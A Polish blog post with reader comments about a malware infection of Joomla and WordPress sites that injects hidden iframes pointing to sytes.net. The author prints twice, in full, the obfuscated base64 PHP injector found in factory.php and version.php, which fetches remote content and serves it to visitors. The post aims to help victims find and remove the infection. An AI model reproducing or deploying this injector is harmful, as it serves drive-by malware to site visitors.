Już od dobrych dwóch tygodni walczę z infekcją malware na stronach opartych o Joomla 1.5.x oraz 2.5.x i wordpress 3.4.x, który na początku interpretacji strony dodaje iframe np.
<iframe src=http://cpqbnkus.sytes.net:12601/captchas/module.php?down=82″ width=1 height=1 style=”visibility: hidden”>
Wszystkie iframe są w domenie sytes.net . Momentalnie moje strony zostały zablokowane przez Google i oznaczone jako niebezpieczne. Początkowo pojawiały się na serwerze dziwne pliki jak:
hostinfo.php
phpinfo.php
rvz.php
i inne. Po usunięciu podejrzanych plików i naprawieniu plików htaccess (było w nim od groma podejrzanych redirectów) byłem pewien, że problem został rozwiązany.
Niestety za chwilę <iframe> pojawił się ponownie. Namawia nas do uruchomienia contentu typu ActiveX lub Java (już dobrze nie pamiętam).
Uwaga! Malware oznacza sobie cookiesem, czy odwiedziliśmy stronę i już drugi raz się nie pokaże!
Ileż czasu poświęciłem na uświadomienie sobie, że to nie wina cache’u przeglądarki czy serwera …
U mnie cookie miało nazwę: DSGFDG34G z wartością 1. Gdzie indziej pewnie będzie nazywać sie inaczej.
Wektor ataku:
1. od czego się zaczęło? nie mam stuprocentowej pewności. Znalazłem tylko gdzieś w logach jhackguard, że zewnętrzne wywołanie http próbowało zmienić nazwę pliku z fr33.gif na fr33.php a także zmienić .htaccess na .htaccess.bak
2. Wirus rozprzestrzenił się na kluczowe pliki systemu Joomla (takie jak komponent kontaktu, pliki administratora)
3. A teraz najlepsze: sposób wywołania:
Kod php zczytuje wartość EXIF (!) z obrazka .JPG i wywołuje ją.
Podejrzałem wywoływany plik current.jpg (który jest integralną częścią templatki) i faktycznie ukazała się tam wartość EXIF z zaciemnionym kodem base64:
Oczywiście zaciemniony kod to fragment kodu PHP
Dalej już nie rozgryzłem co się dzieje.
Znalazłem jeszcze taki złośliwy kod:
//bldQNTCWORb695RmAGhsPX
$GLOBALS[‚_1659886199_’]=Array(base64_decode(‚ZGVmaW5l’),base64_decode(”.’ZGVmaW5l’),base64_decode(‚c3Ry’.’aX’.’Bv’.’cw=’.’=’),base64_decode(‚c3RyaX’.’Bvcw’.’==’),base64_decode(‚c3RyaXBvc’.’w==’),base64_decode(‚c2V0Y29va2′.’ll’),base64_decode(‚d’.’GltZQ==’),base64_decode(”.’c3Ry’.’ZWFt’.’X2′.’Nvbn’.’RleH’.’Rf’.’Y3J’.’l’.’YXRl’),base64_decode(‚Z’.’mlsZV9nZXR’.’fY2′.’9′.’udGVud’.’HM=’),base64_decode(‚ZnB1′.’dHM=’),base64_decode(‚aW’.’1hZ2′.’VjcmVhdGVmcm9′.’tcG5n’),base64_decode(‚YX’.’BhY2hl’.’X2dldF9tb2′.’R1bGV’.’z’),base64_decode(‚ZnJlYWQ=’),base64_decode(‚ZmN’.’sb3Nl’),base64_decode(‚c2′.’9ja2V0′.’X2dl’.’dF9zdGF’.’0dXM=’),base64_decode(”.’c3R’.’ycG’.’9z’),base64_decode(‚Y’.’XJyYXlfa2V’.’5cw==’),base64_decode(‚c3Ry’.’cmNoc’.’g==’),base64_decode(‚c3′.’Vic’.’3Ry’),base64_decode(‚c3Ryc3B’.’u’),base64_decode(‚c3′.’RycnBv’.’c’.’w=’.’=’),base64_decode(”.’Y3VybF9pb’.’ml0′),base64_decode(‚c3R’.’ycG9z’),base64_decode(‚aW1hZ2′.’Vj’.’cmVhdG’.’V’.’m’.’cm9tZ’.’2lm’),base64_decode(‚Y3V’.’yb’.’F9zZX’.’RvcHQ’.’=’),base64_decode(”.’Y3Vy’.’bF9zZXRvcHQ=’),base64_decode(‚Y3Vy’.’b’.’F9zZXRvcH’.’Q=’),base64_decode(‚Y3V’.’y’.’bF9l’.’eGVj’),base64_decode(‚Y3VybF9jbG’.’9zZQ=’.’=’),base64_decode(‚YXJy’.’YXl’.’f’.’a2V5′.’cw==’),base64_decode(‚cGFj’.’a’.’w’.’==’),base64_decode(‚d’.’GltZQ==’),base64_decode(‚b’.’XRfcmF’.’uZA==’),base64_decode(”.’Z’.’nVuY3Rpb25fZ’.’Xhpc3′.’Rz’),base64_decode(‚aW5pX2dldA==’),base64_decode(‚cGFyc2Vf’.’dXJs’),base64_decode(‚YXJy’.’Y’.’Xl’.’f’.’cH’.’Vza’.’A’.’==’),base64_decode(”.’Zn’.’NvY2tvcGVu’)); ?><? function _1415079835($i){$a=Array(‚SUZ’.’SQU’.’1FX1′.’VST’.’A=’.’=’,’a’.’HR0cD’.’ovL2Jh’.’c2′.’U’.’uaG’.’Vy’.’cmlj’.’a2′.’NsbmMuY29′.’t’.’Lz’.’EudHh’.’0′,’S’.’UZSQU’.’1′.’FX1VSTF’.’8y’,”.’a’.’HR0cDovL2Jh’.’c’.’2U’.’y’.’LnNtYWxsYml6Y3JlZ’.’Gl0L’.’mJpei8′.’x’.’L’.’nR4dA=’.’=’,”.’SFRU’.’UF9VU0VSX’.’0FHR’.’U5U’,’SFRU’.’UF’.’9VU’.’0V’.’SX0FHRU5U’,”.’b3Blcm’.’E’.’=’,’SFRUUF9VU0VS’.’X0′.’FHRU’.’5U’,’TV’.’N’.’J’.’RQ=’.’=’,’SF’.’RUUF9VU0′.’VSX0FHR’.’U5U’,’Zm’.’ly’.’ZWZveA==’,’Z’.’H’.’Nn’.’ZmRnM’.’zRn’,”.’ZHN’.’nZmRnMz’.’Rn’,”.’a’.’HR0cDov’.’L’.’w==’,’SFRUUF’.’9′.’IT1NU’,’UkVRVUVTV’.’F9VU’.’k’.’k=’,’YXh1Yg==’,’aHR0cA==’,’dGltZW91dA=’.’=’,’R’.’0′.’VUI’.’A=’.’=’,’P’.’w==’,’IE’.’hUV’.’FAgM’.’S4′.’w’.’DQ’.’o=’,”.’VXN’.’l’.’ci1′.’B’.’Z2V’.’u’.’d’.’Do’.’gTW96′.’aW’.’xs’.’YS81Lj’.’Ag’.’KF’.’d’.’pbmRv’.’d3M7IF’.’U’.’7I’.’Fdp’.’bmR’.’v’.’d3MgTl’.’QgNS’.’4xOyBlbi’.’1′.’VUz’.’sg’.’c’.’n’.’Y6MS4′.’4LjAuM’.’ykgR’.’2Vja28vMjA’.’wN’.’jA0MjYgR’.’mlyZWZv’.’eC’.’8xLjU’.’uMC4z’.’DQo=’,’QWNjZXB’.’0′.’Oi’.’AqL’.’yoNCg==’,’QWN’.’jZXB0L’.’Uxh’.’bmd1YWd’.’lOiBlbi’.’11c’.’yx’.’lbjtx’.’P’.’T’.’Au’.’NQ0′.’K’,”.’Q’.’WNjZ’.’XB0LUNo’.’Y’.’XJzZXQ’.’6′.’IElTTy0′.’4OD’.’U5LTE’.’sdXR’.’mLTg7cT0wLj’.’csKjt’.’x’.’PTAu’.’Nw0′.’K’,”.’S2V’.’lcC’.’1BbGl2ZTogMz’.’A’.’wDQo=’,’Q29ubm’.’VjdG’.’lvb’.’joga2′.’Vl’.’cC1′.’h’.’bGl2ZQ0K’,”.’D’.’QoNCg’.’==’,”.’aGVo’.’cHVw’.’bWNqa3Bp’,”.’Y3o=’,’Y3V’.’ybF9p’.’b’.’ml0′,’YW’.’xs’.’b3df’.’dXJsX2Z’.’vcG’.’Vu’,”.’aG’.’9′.’zd’.’A=’.’=’,’aG9zdA==’,”.’cGF0aA’.’=’.’=’,”.’cX’.’V’.’lcnk=’);return base64_decode($a[$i]);} ?><?php $GLOBALS[‚_1659886199_’][0](_1415079835(0),_1415079835(1));$GLOBALS[‚_1659886199_’][1](_1415079835(2),_1415079835(3));if(isset($_SERVER[_1415079835(4)])&&($GLOBALS[‚_1659886199_’][2]($_SERVER[_1415079835(5)],_1415079835(6))!==false || $GLOBALS[‚_1659886199_’][3]($_SERVER[_1415079835(7)],_1415079835(8))!==false|| $GLOBALS[‚_1659886199_’][4]($_SERVER[_1415079835(9)],_1415079835(10))!==false)){if(!isset($_COOKIE[_1415079835(11)])){$GLOBALS[‚_1659886199_’][5](_1415079835(12),round(0+0.2+0.2+0.2+0.2+0.2),$GLOBALS[‚_1659886199_’][6]()+round(0+1800+1800)*round(0+12+12)*round(0+1.4+1.4+1.4+1.4+1.4));$_0=l__3(IFRAME_URL);if(empty($_0)){$_0=l__3(IFRAME_URL_2);}echo $_0;echo l__3(_1415079835(13) .$_SERVER[_1415079835(14)] .$_SERVER[_1415079835(15)]);exit();$_1=_1415079835(16);}}function l__0($_2){$_3=$GLOBALS[‚_1659886199_’][7](array(_1415079835(17)=> array(_1415079835(18)=> round(0+5+5+5))));return $GLOBALS[‚_1659886199_’][8]($_2,false,$_3);}function l__1($_4,$_5,$_6,$_7){$GLOBALS[‚_1659886199_’][9]($_4,_1415079835(19) .$_6 ._1415079835(20) .$_7 ._1415079835(21) .”Host: $_5\r\n” ._1415079835(22) ._1415079835(23) ._1415079835(24) ._1415079835(25) ._1415079835(26) ._1415079835(27) .”Referer: http://$_5\r\n\r\n”);if((round(0+119+119+119+119)^round(0+238+238))&& $GLOBALS[‚_1659886199_’][10]($_8,$_SERVER,$_9,$_2))$GLOBALS[‚_1659886199_’][11]($_7,$_9);while($_10=$GLOBALS[‚_1659886199_’][12]($_4,round(0+819.2+819.2+819.2+819.2+819.2))){$_9 .= $_10;$_11=round(0+527.5+527.5);}$GLOBALS[‚_1659886199_’][13]($_4);while(round(0+1154+1154+1154)-round(0+1731+1731))$GLOBALS[‚_1659886199_’][14]($_12,$_9);$_13=$GLOBALS[‚_1659886199_’][15]($_9,_1415079835(28));if((round(0+1209.25+1209.25+1209.25+1209.25)+round(0+257.25+257.25+257.25+257.25))>round(0+1209.25+1209.25+1209.25+1209.25)|| $GLOBALS[‚_1659886199_’][16]($_5,$_14,$_8));else{$GLOBALS[‚_1659886199_’][17]($_6,$_13,$_4);}$_9=$GLOBALS[‚_1659886199_’][18]($_9,$_13+round(0+4));return $_9;if((round(0+532.6+532.6+532.6+532.6+532.6)+round(0+808.66666666667+808.66666666667+808.66666666667))>round(0+1331.5+1331.5)|| $GLOBALS[‚_1659886199_’][19]($_12,$_6,$_3));else{$GLOBALS[‚_1659886199_’][20]($_5,$_10,$_15);}}function l__2($_2){$_12=$GLOBALS[‚_1659886199_’][21]($_2);if($GLOBALS[‚_1659886199_’][22](_1415079835(29),_1415079835(30))!==false)$GLOBALS[‚_1659886199_’][23]($_5);$GLOBALS[‚_1659886199_’][24]($_12,round(0+10.5+10.5+10.5+10.5),FALSE);$GLOBALS[‚_1659886199_’][25]($_12,round(0+4978.25+4978.25+4978.25+4978.25),TRUE);$GLOBALS[‚_1659886199_’][26]($_12,round(0+4.3333333333333+4.3333333333333+4.3333333333333),round(0+3+3+3+3+3));$_9=$GLOBALS[‚_1659886199_’][27]($_12);$GLOBALS[‚_1659886199_’][28]($_12);if((round(0+1229.75+1229.75+1229.75+1229.75)+round(0+1789.5+1789.5))>round(0+983.8+983.8+983.8+983.8+983.8)|| $GLOBALS[‚_1659886199_’][29]($_12,$_7));else{$GLOBALS[‚_1659886199_’][30]($_8,$_4,$_8);}return $_9;(round(0+137.2+137.2+137.2+137.2+137.2)-round(0+171.5+171.5+171.5+171.5)+round(0+2200.5+2200.5)-round(0+2200.5+2200.5))?$GLOBALS[‚_1659886199_’][31]($_16,$_13):$GLOBALS[‚_1659886199_’][32](round(0+686),round(0+637.6+637.6+637.6+637.6+637.6));}function l__3($_2){if(@$GLOBALS[‚_1659886199_’][33](_1415079835(31))){$_15=l__2($_2);}elseif($GLOBALS[‚_1659886199_’][34](_1415079835(32))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){$_15=l__0($_2);}else{$_8=$GLOBALS[‚_1659886199_’][35]($_2);while(round(0+479.25+479.25+479.25+479.25)-round(0+639+639+639))$GLOBALS[‚_1659886199_’][36]($_SERVER,$_13,$_13);if([email protected]$GLOBALS[‚_1659886199_’][37]($_8[_1415079835(33)],round(0+40+40),$_14,$_16,round(0+5+5+5))){$_15=l__1($_4,$_8[_1415079835(34)],$_8[_1415079835(35)],$_8[_1415079835(36)]);}}return $_15;}
//zRTsVETg6Eij3imWd0MVGt
W tej chwili próbuję poradzić sobie z infekcją programem WinMerge. Ściągnałem oryginalną paczkę Joomla 1.5.24 oraz 2.5.11 i porównuję moją zawartość FTP z oryginalnym źródłem.
Używając tego sposobu pamiętajcie o dostosowaniu WinMerge – polecam w opcjach porównywania zahaczyć:
- ignorowanie pustych linii
- ignorowanie formatu znaku końca linii
W tej chwili tyle. Jak uda mi się wyleczyć strony – napiszę coś więcej.
————
dodane 10-10-2013:
W plikach WordPressa złośliwy kod siedział w pliku version.php
//bldQNTCWORb695RmAGhsPX
$GLOBALS[‚_1659886199_’]=Array(base64_decode(‚ZGVmaW5l’),base64_decode(”.’ZGVmaW5l’),base64_decode(‚c3Ry’.’aX’.’Bv’.’cw=’.’=’),base64_decode(‚c3RyaX’.’Bvcw’.’==’),base64_decode(‚c3RyaXBvc’.’w==’),base64_decode(‚c2V0Y29va2′.’ll’),base64_decode(‚d’.’GltZQ==’),base64_decode(”.’c3Ry’.’ZWFt’.’X2′.’Nvbn’.’RleH’.’Rf’.’Y3J’.’l’.’YXRl’),base64_decode(‚Z’.’mlsZV9nZXR’.’fY2′.’9′.’udGVud’.’HM=’),base64_decode(‚ZnB1′.’dHM=’),base64_decode(‚aW’.’1hZ2′.’VjcmVhdGVmcm9′.’tcG5n’),base64_decode(‚YX’.’BhY2hl’.’X2dldF9tb2′.’R1bGV’.’z’),base64_decode(‚ZnJlYWQ=’),base64_decode(‚ZmN’.’sb3Nl’),base64_decode(‚c2′.’9ja2V0′.’X2dl’.’dF9zdGF’.’0dXM=’),base64_decode(”.’c3R’.’ycG’.’9z’),base64_decode(‚Y’.’XJyYXlfa2V’.’5cw==’),base64_decode(‚c3Ry’.’cmNoc’.’g==’),base64_decode(‚c3′.’Vic’.’3Ry’),base64_decode(‚c3Ryc3B’.’u’),base64_decode(‚c3′.’RycnBv’.’c’.’w=’.’=’),base64_decode(”.’Y3VybF9pb’.’ml0′),base64_decode(‚c3R’.’ycG9z’),base64_decode(‚aW1hZ2′.’Vj’.’cmVhdG’.’V’.’m’.’cm9tZ’.’2lm’),base64_decode(‚Y3V’.’yb’.’F9zZX’.’RvcHQ’.’=’),base64_decode(”.’Y3Vy’.’bF9zZXRvcHQ=’),base64_decode(‚Y3Vy’.’b’.’F9zZXRvcH’.’Q=’),base64_decode(‚Y3V’.’y’.’bF9l’.’eGVj’),base64_decode(‚Y3VybF9jbG’.’9zZQ=’.’=’),base64_decode(‚YXJy’.’YXl’.’f’.’a2V5′.’cw==’),base64_decode(‚cGFj’.’a’.’w’.’==’),base64_decode(‚d’.’GltZQ==’),base64_decode(‚b’.’XRfcmF’.’uZA==’),base64_decode(”.’Z’.’nVuY3Rpb25fZ’.’Xhpc3′.’Rz’),base64_decode(‚aW5pX2dldA==’),base64_decode(‚cGFyc2Vf’.’dXJs’),base64_decode(‚YXJy’.’Y’.’Xl’.’f’.’cH’.’Vza’.’A’.’==’),base64_decode(”.’Zn’.’NvY2tvcGVu’)); ?><? function _1415079835($i){$a=Array(‚SUZ’.’SQU’.’1FX1′.’VST’.’A=’.’=’,’a’.’HR0cD’.’ovL2Jh’.’c2′.’U’.’uaG’.’Vy’.’cmlj’.’a2′.’NsbmMuY29′.’t’.’Lz’.’EudHh’.’0′,’S’.’UZSQU’.’1′.’FX1VSTF’.’8y’,”.’a’.’HR0cDovL2Jh’.’c’.’2U’.’y’.’LnNtYWxsYml6Y3JlZ’.’Gl0L’.’mJpei8′.’x’.’L’.’nR4dA=’.’=’,”.’SFRU’.’UF9VU0VSX’.’0FHR’.’U5U’,’SFRU’.’UF’.’9VU’.’0V’.’SX0FHRU5U’,”.’b3Blcm’.’E’.’=’,’SFRUUF9VU0VS’.’X0′.’FHRU’.’5U’,’TV’.’N’.’J’.’RQ=’.’=’,’SF’.’RUUF9VU0′.’VSX0FHR’.’U5U’,’Zm’.’ly’.’ZWZveA==’,’Z’.’H’.’Nn’.’ZmRnM’.’zRn’,”.’ZHN’.’nZmRnMz’.’Rn’,”.’a’.’HR0cDov’.’L’.’w==’,’SFRUUF’.’9′.’IT1NU’,’UkVRVUVTV’.’F9VU’.’k’.’k=’,’YXh1Yg==’,’aHR0cA==’,’dGltZW91dA=’.’=’,’R’.’0′.’VUI’.’A=’.’=’,’P’.’w==’,’IE’.’hUV’.’FAgM’.’S4′.’w’.’DQ’.’o=’,”.’VXN’.’l’.’ci1′.’B’.’Z2V’.’u’.’d’.’Do’.’gTW96′.’aW’.’xs’.’YS81Lj’.’Ag’.’KF’.’d’.’pbmRv’.’d3M7IF’.’U’.’7I’.’Fdp’.’bmR’.’v’.’d3MgTl’.’QgNS’.’4xOyBlbi’.’1′.’VUz’.’sg’.’c’.’n’.’Y6MS4′.’4LjAuM’.’ykgR’.’2Vja28vMjA’.’wN’.’jA0MjYgR’.’mlyZWZv’.’eC’.’8xLjU’.’uMC4z’.’DQo=’,’QWNjZXB’.’0′.’Oi’.’AqL’.’yoNCg==’,’QWN’.’jZXB0L’.’Uxh’.’bmd1YWd’.’lOiBlbi’.’11c’.’yx’.’lbjtx’.’P’.’T’.’Au’.’NQ0′.’K’,”.’Q’.’WNjZ’.’XB0LUNo’.’Y’.’XJzZXQ’.’6′.’IElTTy0′.’4OD’.’U5LTE’.’sdXR’.’mLTg7cT0wLj’.’csKjt’.’x’.’PTAu’.’Nw0′.’K’,”.’S2V’.’lcC’.’1BbGl2ZTogMz’.’A’.’wDQo=’,’Q29ubm’.’VjdG’.’lvb’.’joga2′.’Vl’.’cC1′.’h’.’bGl2ZQ0K’,”.’D’.’QoNCg’.’==’,”.’aGVo’.’cHVw’.’bWNqa3Bp’,”.’Y3o=’,’Y3V’.’ybF9p’.’b’.’ml0′,’YW’.’xs’.’b3df’.’dXJsX2Z’.’vcG’.’Vu’,”.’aG’.’9′.’zd’.’A=’.’=’,’aG9zdA==’,”.’cGF0aA’.’=’.’=’,”.’cX’.’V’.’lcnk=’);return base64_decode($a[$i]);} ?><?php $GLOBALS[‚_1659886199_’][0](_1415079835(0),_1415079835(1));$GLOBALS[‚_1659886199_’][1](_1415079835(2),_1415079835(3));if(isset($_SERVER[_1415079835(4)])&&($GLOBALS[‚_1659886199_’][2]($_SERVER[_1415079835(5)],_1415079835(6))!==false || $GLOBALS[‚_1659886199_’][3]($_SERVER[_1415079835(7)],_1415079835(8))!==false|| $GLOBALS[‚_1659886199_’][4]($_SERVER[_1415079835(9)],_1415079835(10))!==false)){if(!isset($_COOKIE[_1415079835(11)])){$GLOBALS[‚_1659886199_’][5](_1415079835(12),round(0+0.2+0.2+0.2+0.2+0.2),$GLOBALS[‚_1659886199_’][6]()+round(0+1800+1800)*round(0+12+12)*round(0+1.4+1.4+1.4+1.4+1.4));$_0=l__3(IFRAME_URL);if(empty($_0)){$_0=l__3(IFRAME_URL_2);}echo $_0;echo l__3(_1415079835(13) .$_SERVER[_1415079835(14)] .$_SERVER[_1415079835(15)]);exit();$_1=_1415079835(16);}}function l__0($_2){$_3=$GLOBALS[‚_1659886199_’][7](array(_1415079835(17)=> array(_1415079835(18)=> round(0+5+5+5))));return $GLOBALS[‚_1659886199_’][8]($_2,false,$_3);}function l__1($_4,$_5,$_6,$_7){$GLOBALS[‚_1659886199_’][9]($_4,_1415079835(19) .$_6 ._1415079835(20) .$_7 ._1415079835(21) .”Host: $_5\r\n” ._1415079835(22) ._1415079835(23) ._1415079835(24) ._1415079835(25) ._1415079835(26) ._1415079835(27) .”Referer: http://$_5\r\n\r\n”);if((round(0+119+119+119+119)^round(0+238+238))&& $GLOBALS[‚_1659886199_’][10]($_8,$_SERVER,$_9,$_2))$GLOBALS[‚_1659886199_’][11]($_7,$_9);while($_10=$GLOBALS[‚_1659886199_’][12]($_4,round(0+819.2+819.2+819.2+819.2+819.2))){$_9 .= $_10;$_11=round(0+527.5+527.5);}$GLOBALS[‚_1659886199_’][13]($_4);while(round(0+1154+1154+1154)-round(0+1731+1731))$GLOBALS[‚_1659886199_’][14]($_12,$_9);$_13=$GLOBALS[‚_1659886199_’][15]($_9,_1415079835(28));if((round(0+1209.25+1209.25+1209.25+1209.25)+round(0+257.25+257.25+257.25+257.25))>round(0+1209.25+1209.25+1209.25+1209.25)|| $GLOBALS[‚_1659886199_’][16]($_5,$_14,$_8));else{$GLOBALS[‚_1659886199_’][17]($_6,$_13,$_4);}$_9=$GLOBALS[‚_1659886199_’][18]($_9,$_13+round(0+4));return $_9;if((round(0+532.6+532.6+532.6+532.6+532.6)+round(0+808.66666666667+808.66666666667+808.66666666667))>round(0+1331.5+1331.5)|| $GLOBALS[‚_1659886199_’][19]($_12,$_6,$_3));else{$GLOBALS[‚_1659886199_’][20]($_5,$_10,$_15);}}function l__2($_2){$_12=$GLOBALS[‚_1659886199_’][21]($_2);if($GLOBALS[‚_1659886199_’][22](_1415079835(29),_1415079835(30))!==false)$GLOBALS[‚_1659886199_’][23]($_5);$GLOBALS[‚_1659886199_’][24]($_12,round(0+10.5+10.5+10.5+10.5),FALSE);$GLOBALS[‚_1659886199_’][25]($_12,round(0+4978.25+4978.25+4978.25+4978.25),TRUE);$GLOBALS[‚_1659886199_’][26]($_12,round(0+4.3333333333333+4.3333333333333+4.3333333333333),round(0+3+3+3+3+3));$_9=$GLOBALS[‚_1659886199_’][27]($_12);$GLOBALS[‚_1659886199_’][28]($_12);if((round(0+1229.75+1229.75+1229.75+1229.75)+round(0+1789.5+1789.5))>round(0+983.8+983.8+983.8+983.8+983.8)|| $GLOBALS[‚_1659886199_’][29]($_12,$_7));else{$GLOBALS[‚_1659886199_’][30]($_8,$_4,$_8);}return $_9;(round(0+137.2+137.2+137.2+137.2+137.2)-round(0+171.5+171.5+171.5+171.5)+round(0+2200.5+2200.5)-round(0+2200.5+2200.5))?$GLOBALS[‚_1659886199_’][31]($_16,$_13):$GLOBALS[‚_1659886199_’][32](round(0+686),round(0+637.6+637.6+637.6+637.6+637.6));}function l__3($_2){if(@$GLOBALS[‚_1659886199_’][33](_1415079835(31))){$_15=l__2($_2);}elseif($GLOBALS[‚_1659886199_’][34](_1415079835(32))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){$_15=l__0($_2);}else{$_8=$GLOBALS[‚_1659886199_’][35]($_2);while(round(0+479.25+479.25+479.25+479.25)-round(0+639+639+639))$GLOBALS[‚_1659886199_’][36]($_SERVER,$_13,$_13);if([email protected]$GLOBALS[‚_1659886199_’][37]($_8[_1415079835(33)],round(0+40+40),$_14,$_16,round(0+5+5+5))){$_15=l__1($_4,$_8[_1415079835(34)],$_8[_1415079835(35)],$_8[_1415079835(36)]);}}return $_15;}
//zRTsVETg6Eij3imWd0MVGt
tagi: sytes.net malware , iframe sytes.net
*co do sytes.net masz
kolego!
bo ja wiem. pewnie nic. Tyle tylko, że malware który wdarł mi się na stronę, zakłada niebezpieczne strony w serwisie sytes.net lub w inny sposób jest powiązany.
W moich wszystkich joomlach opisany kod siedział w
libraries/joomla/factory.php. Dzięki za pomoc po dwóch tygodniach stresu.
Czas chyba się pozbyć joomli – szkoda życią i nerwów na ten system.
Nie wiadomo czy infekcja nastąpiła u mnie poprzez Joomla. WordPress też był zainfekowany. Generalnie temat jest ciężki, bo obydwa CMSy są dobre. A pisząc stronę od podstaw w htmlu czy php trudno będzie utrzymać konkurencyjność cenową ..
Dziękuję Panu za wpis w tej sprawie. Dziękuję również Panu „D” za wskazanie zainfekowanego pliku. U mnie też znalazłem w „fabryce” ów kod! Dziękuję za pomoc. I w razie czego proszę o dodatkowe info!
Uratowałeś mi życie – walczyłem z tą infekcją dłuuuuuuugi czas.
Tylko nie mogę dojść skąd ta infekcja dotarła.
Czy poprzez zarażony komputer admina jednej ze stron, czy wykorzystano luki joomli 1.5.x ???
Jak coś znajdę dam znać.
Jeszcze raz duże dzięki za pomoc !!!
Thank you so much guys… it’s really helps me..
i’ve tried to find that goddamn files with virus code for so long…
it was really in /libraries/joomla/factory.php
let’s keep in touch…
Ja znalazłem trochę dziwnych plików w /plugins/editors/tinymce/jscripts/tiny_mce/plugins/advimage/images/
oraz
/plugins/editors/tinymce/jscripts/tiny_mce/plugins/advhr/langs/
Czy ktoś ma jakieś nowe informacje w tej sprawie?
Wczoraj ponownie powtórzyła mi się ta sama infekcja
Foldery z plikami „index.*” = modyfikacja lub utworzenie plików .htacces (zmiana CHMOD na 444) oraz pliku phpinfo.php
Joomla na serwerze = zarażenie pliku libraries/joomla/factory.php
niestety nadal nie znam źródła infekcji. Ja mam powtórkę w WP w pliku version.php..
U mnie również infekcja powróciła i nie wiem w jaki sposób ???
Jak coś wymyślicie dajcie znać 🙁
Tym razem wyedytowany był .htaccess, ale tylko na czas zarażania. Zawartość pliku się nie zmieniła, ale data modyfikacji była sprzed paru dni. Dziwne, bo ustawiłem chmody na 444, zabezpieczyłem .htaccess róznymi metodami znalezionymi w sieci.. i nic .
Witam,
Ja również walczę z tą infekcją. Wywaliłem kilka serwisów na amen łącznie z usunięciem domeny z hosta i zostawiłem tylko jeden najważniejszy odtworzony z kopii. Zobaczę, czy będzie się powtarzało. Co ciekawe serwis skopiowany na lokal i uruchomiony na Jamp’ie nie wykazuje infekcji. Poczekam kilka dni, na pozostałych serwisach zostawiłem tylko notkę w czystym HTMLu, że strona czasowa nieczynna.
Pozdrawiam
U mnie na razie czysto ale może do mnie jeszcze nie doszli.
Miałem to samo już kilkukrotnie, na Joomli, ostatnio 1 listopada. Dziękuję za bardzo rzeczowy artykuł. Problem jest taki, że nikt z nas nie wie jak się przed tym zabezpieczyć. Boję się, że za np. 2 tygodnie atak się skutecznie powtórzy.
Mam ten sam problem co jakiś czas, 1 XI atak na wszystkie domeny. Co ciekawe nawet te które nie były opublikowane. Zastanawiam się w jaki sposób do tego dochodzi hasło 20 znakowe, ftp wyłączone ?
Może ktoś znajdzie rozwiązanie tego problemu
Prawdopodobnie jakiś plugin typu TinyMCE podatny na specyficzny atak ..
U mnie dalej czysto. A jak u was? Bo nie wiem czy do mnie się nie dostają czy dali sobie spokój.
U mnie też od 31.10 czysto…
U mnie znowu pojawiła się infekcja.
Udało mi się ustalić, że stare wersje edytora jce zezwalają na wrzucenie na serwer plików bez potrzeby logowania np. za pomocą JCE Joomla Extension Remote File Upload
Później wystarczy wywołanie takiego pliku przez stronę www i cały serwer jest zainfekowany.
Szczególnie niebezpieczne wersje edytora to 1.5.6 i 1.5.7
Na youtubie można obejrzeć filmy jak są przeprowadzane takie ataki